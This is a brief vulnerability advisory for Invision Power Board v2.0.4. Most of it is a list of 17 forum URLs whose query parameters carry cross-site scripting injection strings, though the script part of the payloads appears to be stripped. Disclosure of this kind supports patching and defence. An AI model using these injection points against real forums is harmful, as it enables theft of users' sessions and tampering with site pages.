Software: Invision Power Board

Web Site:http://www.invisionpower.com 

tested in v2.0.4


exploit :

forum/index.php?act=Search&nav=au&CODE=show&searchid=5f25843edb0242889889796819a2b367&search_in=ooo&result_type='>

forum/index.php?act=Search&nav=au&CODE=show&searchid=5f25843edb0242889889796819a2b367&search_in='>&result_type=posts

foum/index.php?act=Search&nav='>

forum/index.php?showtopic=1&st='>

forum/index.php?s=504b8a357b04e1b276f08a039955177f&act=Search&nav=au&CODE=show&searchid=5f25843edb0242889889796819a2b367&search_in='>\

forum/index.php?s=21355e75e21dcc4c04e24c5c7247b220&act=Search&CODE=01&forums='>

forum/index.php?s='>&act=Search&CODE=01&forums=all

forum/index.php?act=calendar&code=birthdays&y=[any 
year]&m='>&d=[any day]

forum/index.php?act=calendar&code=birthdays&y='>&m=[any 
month]&d=[any day]

forum/index.php?act=calendar&code=birthdays&y=[any year]&m=[any 
month]&d='>

forum/index.php?act=Print&client=printer&f=1&t='>

forum/index.php?act=Mail&CODE=00&MID='>

forum/index.php?act=Help&CODE=01&HID='>

forum/index.php?act=search&CODE=getnew&active='>&lastdate=1

forum/index.php?act=Members&max_results=10&sort_key=posts&sort_order='>

forum/index.php?act=Members&max_results='>&sort_key=posts&sort_order=desc

forum/index.php?act=Members&max_results=10&sort_key='>&sort_order=desc&sort_order=desc


all 17 XSS are tested in v2.0.4

Discovered by: Mr.SNAKE

GreeTz : T0 mY a11 Fr!nD in www.lezr.com 

special thnx for pppppp

_________________________________________________________________
Don't just search. Find. Check out the new MSN Search! 
http://search.msn.com/